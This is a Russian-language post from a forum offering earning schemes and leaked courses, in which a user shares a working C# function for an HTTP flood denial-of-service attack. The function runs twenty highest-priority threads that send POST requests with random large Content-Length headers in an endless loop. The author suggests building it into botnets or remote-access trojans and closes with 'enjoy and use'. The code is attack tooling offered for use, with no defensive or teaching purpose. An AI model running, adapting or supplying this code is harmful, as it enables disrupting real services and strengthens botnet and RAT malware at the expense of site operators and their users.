• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Простой скрипт для Dos атаки на C#

zHd4

Местный
Сообщения
107
Реакции
82
0 руб.
Telegram
Доброго времени суток! Сегодня бы хотел показать функцию HTTP флуда в 20 потоков.
Можно использовать в ботнетах или как встроенную функцию в ратнике.

Код:
static void HttpFlood(string url, int port)
{
    int threads = 20;
    Random r = new Random();
    for (int count = 0; count < threads; count++)
    {
        new Thread(() =>
        {
            Thread.CurrentThread.IsBackground = true;
            Thread.CurrentThread.Priority = ThreadPriority.Highest;
            while (true)
            {
                try
                {
                    TcpClient tcpClient = new TcpClient();
                    tcpClient.NoDelay = true;
                    tcpClient.Connect(url, port);
                    StreamWriter streamWriter = new StreamWriter(tcpClient.GetStream());
                    streamWriter.Write("POST / HTTP/1.1\r\nHost: " + url + "\r\nContent-length: " + r.Next(3500, 10000) + "\r\n\r\n");
                    streamWriter.Flush();
                    Console.WriteLine("Server up! Packet " + count);
                }
                catch
                {
                    Console.WriteLine("Server is down!");
                }
            }

        }).Start();
    }
    while (true) { }
}

Наслаждаемся и пользуемся!
 
Последнее редактирование:
Сверху Снизу